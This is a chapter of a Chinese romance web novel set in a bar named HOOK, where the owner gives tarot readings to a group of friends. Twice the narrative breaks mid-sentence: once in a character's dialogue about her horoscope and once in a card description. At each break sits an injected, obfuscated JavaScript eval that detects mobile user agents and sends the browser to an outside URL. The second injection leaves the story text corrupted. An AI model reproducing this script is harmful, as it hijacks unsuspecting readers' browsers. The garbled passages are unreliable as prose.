梁亦芝招了招手,看见他笑着跟其他人打了声招呼,他们就散开了。 梁亦芝朝他走过去。 贺新图含着笑,看着她来到面前:“你今天很漂亮。” “你别一上来就夸我吧。”梁亦芝摸摸脖子。 贺新图视线顺着她白皙的手臂往上:“你今天带项链了?特别衬你。” 梁亦芝摸了摸锁骨处的吊坠,笑了笑。 她平时除了耳钉这些,不太带多余的首饰。今天为了搭配服装,想着又是朋友们第一次正式见面,所以好好打扮了一下。 小心思被人看出来了、还收到赞美,自然是一件令人心生愉悦的事。梁亦芝扬着唇,心情甚好。 贺新图伸出手指,指了指楼上:“这里有包间,但怕你们觉得太安静,我还是提前留了楼上角落的位置,离人群远一点,不会很吵,也有氛围。” 梁亦芝点头:“没问题的,贺老板用心了。” 没过多久,何嫚和蒋徊也来了。 蒋徊一入座就赞不绝口:“这位置真不错,正对驻唱的乐队,还能看到露台的风景呢!” “你这马屁拍得可真六。”何嫚顶嘴,“人家贺老板现在可不在啊,听不着。” 蒋徊:“我又不是说给他听的,你也管太宽了吧!” 梁亦芝把手横在两人之间:“行了行了,音乐声本来就响,再吵头都大了。” 她问蒋徊:“顾寅言呢?” “不急。公司有点事要处理,估计得晚个半小时吧。” 贺新图拿着酒单走过来:“好久不见?” “贺老板,终于又见上面了。”蒋徊站起身,“让梁亦芝拜托的事,谢谢你帮忙!回头我让我同事们都帮你酒吧多宣传宣传。” 蒋徊对贺新图的好感度很高,首先对方长相不赖,其次他又有肝胆侠肠,路见不平拔刀相助。男人之间结交朋友,最看重的就是对方身上这股劲、这份难能可贵的义气。 尽管和贺新图刚见面,他俨然已经把他当自己的哥们一样。 贺新图相对而言,就显得淡然又冷静许多。他说:“没事,喝了酒再谈也不迟。” 他推荐了几款酒水,又给他们拿来了刚上的新品,这次还附赠了水果和甜品。 服务员端来酒水,贺新图在其后过来。他脱下了围裙,坐在了靠近梁亦芝一侧的软包扶手上。 贺新图说:“真不好意思,每次都请你们做我的新品试喝。” 蒋徊:“那是我们赚了,贺老板。只要不把我喝进医院,你上多少我都喝。” 何嫚悄悄吐槽他一句:“狗腿子。” 何嫚今天穿了一件非常鲜艳的红色开衫,哪怕是在这里晦涩的光线下,都极其的扎眼。 她以往不爱穿这么靓丽的颜色,梁亦芝于是问: “你这件红色开衫什么时候买的?之前没见你穿过这么鲜艳的颜色。” “好看不?”何嫚兴奋地转过身,扯扯衣襟给她展示。 “我总觉得自己最近水逆,今天出门看了下星座运势,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406522|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我今天的幸运色是红色。”何嫚说,“以前不怎么穿,没想到这颜色还挺显白的,不错吧?” 梁亦芝点点头:“好看。” 贺新图在一边问:“你们都研究星座?” 何嫚说:“不止星座,我最近还喜欢研究塔罗。可能是人长大了,就越来越相信玄学的东西了,总是把精神寄托在神秘力量身上。” 贺新图又看向梁亦芝:“你相信吗?” 梁亦芝答:“宁可信其有,不可信其无嘛。” 她不是非常了解星座、塔罗相关的知识,大部分都是被何嫚灌输的一些刻板印象。有时候当趣闻听听也觉得挺有意思的。 何嫚说:“我最近还准备去找一家算塔罗的店铺,帮我算一下事业运,就是还没找到靠谱的。” 贺新图听了,唇角轻轻一勾。 “不用找了。”贺新图说,“正好今晚有时间,我给你算。” 蒋徊震惊道:“你会这个?” “要试试吗?” 梁亦芝也很惊讶。 如果说之前她对贺新图有探知欲,那么这句话之后,贺新图带给她的新奇感再次上升了。 贺新图转身回外面的吧台里,拿来了他的一幅牌。何嫚说:“厉害啊贺老板!你这酒吧都可以引进特殊服务了!” 蒋徊:“……会不会说话?不会说话上一边去。” “不过,这东西还是要用科学的眼光来看待,别把它神话了。我资历也浅,说的东西可能不一定准确,大家当个乐子听就行。” 贺新图熟练地洗牌,问何嫚:“你的问题是什么?具体一点的。” “我想看看我未来的事业运。”何嫚期待地搓手,身子整个前倾到桌前。“说实话,我最近有点不想干模特了,我在想是不是应该找个班上,现在的生活太不稳定了。” 贺新图点点头:“那我们就看看,你未来三个月,会不会有新的工作机会。” 他给他们打了预防针,声明塔罗只是他分析出来的东西,具体情况还是事在人为,千万不要因为他所说的结果,固步自封了。 贺新图洗好牌,一手将它在桌面上推开。 他说:“默念你的问题,然后抽一组牌,三张。” 何嫚虔诚地双手合十,她是第一次线下算塔罗,心里异常激动。 她默念了几遍自己的问题,随机点出了三张牌。 贺新图把牌放到自己面前,翻了过来。 “嗯……” 贺新图盯着桌面上的牌沉思:“如果让我来看的话,我觉得你现在需要的不是换工作,而是休息。” 何嫚不解:“为什么这么说?” “从牌面上来看,感觉你现在正处于一个停滞期,而且在工作中的人际关系上有极大的不平衡。”贺新图手指放在了中间逆位的那张圣杯二,“你应该是和公司、或者甲方之间有什么矛盾吧。” “哇塞,你也太准了吧!”何嫚用一种崇拜的目光看着他,“我合约到期了,最近正在和经纪公司谈续约的事情,怎么都谈不拢。而且他们也没有很想签我,只是看我自己手里有很多品牌方的资源,所以不想放我走罢了。” 何嫚和经纪公司之间的隐形矛盾埋藏了很久,不是一天两天筑成的问题。从最开始公司不重视她压榨她,到现在舍不得放走奶大的孩子,他们用过很多手段。 给她准备不合身的衣服、不给她配车配助理,不露声色地在小事上想尽一切办法不让她好过。 何嫚原以为至少她的经纪人还是爱护她的,谁能想到在这个节骨眼上,对方突然倒戈了。 贺新图又看了两眼桌面上的卡牌,安抚她:“也不用太灰心,至少目前看来,你坚持下去依然能获得物质上的稳定,它能保证你的财务状况。但长远来看,不会有更大的提升了。” “不如你跟经纪公司谈判,争取一段时间的假期,先休整下好好考虑。说不定状态好了,工作的动力也回来了。” 何嫚觉得这倒是个不错的建议,她最近身心都乏了,本来她就是直来直去的性格,不乐意跟公司玩那些心眼子,不如让自己先休息一下,别再想那些糟心事。 一向对这类占卜不闻不问的蒋徊,在旁听完整个过程之后,也不禁竖起拇指:“大师大师!太厉害了!” 贺新图这一波神秘学技能一放,其他三人瞬间对他肃然起敬,看待他的眼神都不一样了。 而顾寅言这边,迟到了半小时才姗姗来迟。 他在外面停好车,在群里问蒋徊他们坐在哪个位置,没有人回复。 顾寅言之前就来过HOOK,他在一楼没看见人影,轻车熟路地上了二楼。 刚上了最后一级阶梯,远处角落里,四个人凑在一块,聊的正是火热。 何嫚有说有笑地摆弄着桌面上的卡牌,梁亦芝从她手里抽出一张牌,拿在手里端详,一面和何嫚讨论。蒋徊则在一旁,手忙脚乱地冲着坐在边上的人比划。 唯一的陌生人,坐在沙发扶手边,背对着他,看不见表情。 顾寅言看着那背影的主人,头上那顶显然花费不少心思的轻浮的卷发,在摇曳的灯光下泛着胡乱的光影,令他心生出想要一缕一缕把它掰直的冲动。 他提步,无声地朝那个角落迈过去。 看来有人想要替代他的位置呢。 30. 高塔 最先注意到顾寅言来了的是梁亦芝。 她抬脸,举手朝远处的人影招了招:“这边——” 梁亦芝看着他走近。眼前的男人眉目疏淡,脚下步速明明不快,却莫名有种背后带风的轩昂气势。 他们的卡座沙发是弧形的。贺新图坐在了靠近梁亦芝旁边的扶手上,挡住了一侧的入口。 顾寅言看一眼,不声不响地坐到蒋徊边上。 他扫过桌上的东西,问:“在玩什么?” “贺老板在给我们算塔罗呢,准的可怕!”蒋徊热切地给他介绍,“对了贺老板,这位你还不认识吧!顾寅言,我们的铁哥们,上次打过照面,你应该有印象。” 贺新图当然还记得这么一号人物。 近距离碰面后,他不得不承认,同为男性的他目光也不禁在对方脸上多停了两眼。 不止气场强大,还拥有这样一张令人嫉妒的脸蛋,确实会让人感到危险。 贺新图敛下神情,笑了笑:“幸会。” 梁亦芝的眼睛悄悄在两个人之间来回打转。 她想起了贺新图上次说,他跟顾寅言之间没有眼缘这句话,还意外他竟然会如此亲切地跟他问候。 只是没想到另一个人也让她大跌眼镜。 顾寅言泰然道:“我也是。” 此话一出,一边听着的梁亦芝和蒋徊皆是身体一抽,背上都要沁出了冷汗。 这话从他嘴里出来,怎么就那么奇怪呢? 何嫚神经大条,正对自己的占卜结果沉醉其中,哪有心留意周围的暗流涌动。 她捏着手里那张牌,拍拍梁亦芝的大腿说:“真厉害,我还想再听一点。贺老板,你帮亦芝也占卜一个呗!” 梁亦芝有些犹疑:“我吗?” 她往贺新图的方向看过去,像在征求他的同意。 这对贺新图来说不过举手之劳,而且,他也有自己好奇的那一部分,只不过没在梁亦芝的面前表露出来。 他重新洗牌,手中的牌抽出又叠起,动作丝滑。贺新图问梁亦芝:“想问什么?” “问她的感情!”何嫚抢先回答,“就问她下一段恋情会在什么时候,对方是个什么样的人?” 梁亦芝示意她冷静些:“喂……你怎么比我还上头?” “好玩嘛!来来来。” 梁亦芝转回头,视线猝不及防地和对面的顾寅言撞上。 她和顾寅言位置正面对面,两人被那张巨大的、散落着卡牌的大理石圆桌隔开。 梁亦芝不自然地别开眼,目光隔两秒再游回去,发现顾寅言竟然还在盯着自己。 那眼神最近时常出现,深沉又复杂,总让她觉得心里毛毛的。 或许他是因为昨天的事情生气了,梁亦芝极力掩盖自己心虚的表情,努力地不去多想。 她把注意力重新聚焦回桌上的牌组上。 贺新图依旧是让她默念问题,然后抽三张牌。 梁亦芝听话地照做。 众人围在桌前,因为桌子的高度很矮,他们伏低了上半身,胸口贴在膝盖上。 唯独除了看牌的贺新图,和看起来对什么都漠不关心的顾寅言,还保持着脊背挺直的姿势。 蒋徊看不懂牌面,八卦着:“什么结果?” 贺新图思考两秒才开口,声音轻柔:“看上去你的感情经历不是很顺利。有让你很心痛的事情吗?” “神呐,贺老板!”何嫚嘴快,“她之前被那个傻逼前男友出轨了。那狗男人在外面约炮,吃里扒外,没安好心!” 突然被人在暧昧对象面前剖白了感情史,梁亦芝涌上几分尴尬。不过都是过去的事情,也没什么需要隐瞒的,反正犯错的人又不是她。 梁亦芝正色:“没事,我早就不难过了,为那种男人流眼泪是浪费时间。” 她看着贺新图道:“你继续说吧。” 贺新图唇动了动,像是想说什么,话又咽了下去。 他重新给她解牌:“总的来看,寓意还不错。你的下一段恋情很快就会开启,你会做出正确的选择,和一个非常合你心意,让你能够抛开一切、只享受这段恋爱的人在一起。” “甚至不用付出太多的努力,你只管享受两个人共处时的快乐就好。那会是一段非常和谐、让你打开新世界的关系。” 梁亦芝对这个结果的走向很是意外,她眨眨眼问:“这是很好的牌吗?” 贺新图拿过桌上的牌展示给她,勾勾唇:“太阳和恋人正位,不能更好了。” 梁亦芝从他手里接过牌,低头看。 圆润的金黄色太阳高挂在蓝天上,光芒四射,普照大地,将能量辐射到一切所受它庇护的事物。 骄阳下,金发的小男孩骑着白马、手握鲜红的旗帜,被一丛丛向日葵包围着,热烈肆意地奔向新生。 梁亦芝很喜欢这张牌。 她拿在手里看了很久,眼睛抠着牌面上的每一处细节。落在小男孩插着红色羽毛的头顶时,她竟觉得那弯曲的卷发,和贺新图的有几分像。 会是他吗? 带她朝向光明,给她打开新世界的大门,领她沉溺于爱与自由,让她无忧无虑地享乐沉沦的人。 ——是他吗? 察觉到自己的血液上涌,梁亦芝放下手,深呼吸几口,把牌还了回去。 不知从哪个瞬间开始,她对这种不切实际的预兆有了很深的兴趣,甚至想再多了解一些。 何嫚察觉到她的表情,搂着她肩膀说:“你看,我就说吧!只管勇敢出击,结果一定会是好的!不能因为栽过跟头我们就畏手畏脚的,是不是!” 说完,她又把嘴贴到梁亦芝的耳边:“希望下次我再来Hook,是你以老板娘的身份邀请我——” 梁亦芝:“……你少说两句。” 虽然嘴上如此,但她的心理早被她的神色出卖了,脸颊透出的粉色更加明显。 看着的何嫚笑而不语。 贺新图拾起桌上的牌,准备收起,去吧台拿酒。牌在手里洗着,忽然有人出声打断: “——等等。” 贺新图抬头,看向声音的来源。他眉梢微抬,很是意外。 贺新图笑了笑:“你也准备算?” “不可以?”顾寅言反问道。 “怎么会,我一向来者不拒。”贺新图唇边依旧是那和煦如春风般的笑意,刚放下的双腿再次叠起,他语调轻松:“不知道你想问什么?” 梁亦芝也被这插曲怔住,顾寅言不像是会对这种玄学感兴趣的人。 正迷茫之时,她看见顾寅言的视线再次投向自己。 顾寅言下巴微抬,轻声吐出几字:“跟她一样。” 何嫚和蒋徊皆是一惊。 何嫚先不怕死地揶揄:“可以,铁树开花啊。” “寅言,你可算听劝了。就你寡了这么多年的趋势下去,你确实该找人看看。”蒋徊拍了拍顾寅言的肩,又兴奋地搓搓手,“贺老板,辛苦你了啊!” 不过是一个塔罗牌的占卜而已,场面被他们渲染地如此激动人心,弄得跟□□开奖一样。 贺新图没多说,干脆地洗完牌,推开后伸手:“请吧。” 顾寅言抽牌的速度比刚刚几人快了很多,几乎是非常随便地点出了三张牌。 贺新图见了他的动作,提醒道:“顾总,心要诚,看到的结果才会更准确。” “你怎么知道我心不诚?” 顾寅言将三张牌列到一起,上下对齐毫无参差。他靠回沙发背上,神色云淡风轻:“先看看结果再说也不迟。” 贺新图看出他眼神漠然,喉头莫名烧起一股无名之火,干得发痒。 他伸手将卡牌一一翻过来。既然对方无所谓,他也打算就配合他敷衍一下,给个浅显的结论就算数。 只是翻过牌后。 这结果……似乎还挺有趣的。 贺新图一一扫过几张牌,指尖悬在卡牌之上,最后落在第三张牌面上轻轻叩了叩。 蒋徊趴在桌前,斜着眼,观察着贺新图的表情。他看不出什么名堂来,只能忍着好奇心不断问:“怎么说?” 贺新图说:“不太好。” “不好?哪种不好?” “各方面都不好。” 这倒是有些出乎所有人的意料。 贺新图想,他说完这话之后,至少顾寅言的表情应该会有些变化,或许疑惑,或许不爽。 至少他想看看他的反应,决定他接下来该说什么,又该说多少。 可顾寅言还是静坐在那。 他在等待贺新图接下来的话。 贺新图于是直捣黄龙:“看见这个了吗?” 顾寅言垂眼,看着他手底那张牌。 天空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这段恋情,大概就像这座建筑一样。你有点像是被关在塔里的人,这段日子很压抑,可你还是在漫长的等待中坚持下来,决心做出改变。” 贺新图:“可不管付出多大的努力,意外还是不可避免。原来的认知和关系之间的界定都会被打破,遭到重创,最后走向崩塌毁灭。” “要我来看,机会把握在你的手里,不开启这段关系或许是最好的选择。” 酒吧里音乐声回荡,人人举杯欢庆,只有这一方像被隔绝在屏障外。 因为贺新图的一番话,桌前大家都若有所思。 蒋徊凑着顾寅言问:“我都不知道,你什么时候有暧昧对象了?这占牌结果,啧啧啧,看来又是你命里一段劫啊。” 何嫚也暗中朝梁亦芝挑眉,意思是问她知不知道顾寅言的情况。 梁亦芝默默摇头,幅度很小。她当然也没听过任何风声,否则昨天就不会把吴悠强行介绍给顾寅言了。 “那如果我非要做呢?” 顾寅言忽然问。 “如果这段关系,我非开始不可,会怎么样?” 贺新图听了他的话,淡淡地笑了: “你真的和牌面上告诉我的信息一样。” 克制、自信、执拗、坚持自我。 贺新图耸耸肩:“我只能说结果很坏。一段关系的重创,不止会给你、更会给对方带来挥之不去的阴影。这样结果,无非是走向两个尽头——” 贺新图的眼眸,对上顾寅言暗室中清亮的眼睛: “要么永远没有开始、要么老死不相往来。” 他的话像是预言,又像是忠告:“如果你想要守护双方,最好的办法就是维持现状。不要迈出那一步。不要轻易做出改变。” 他几乎把结果的灾难程度烘托到了最高级别。然而顾寅言听了他的回答,依旧没吭声。 见他波澜不惊,贺新图猜测他或许还是不信服他。 他收了牌,敲在桌面上砌了砌,对他道:“就到这里吧。今天我说的,只限于我对牌面和问题的解读,你可以认为不具备任何参考意义。” 顾寅言启唇,态度端正得反常:“不,贺老板的建议,我会好好参考再做决定的。” 不知为何,话虽如此,可听到的一瞬间,贺新图对他口中的决定,心里已经有了答案。 这人真的是……超乎他想象的固执。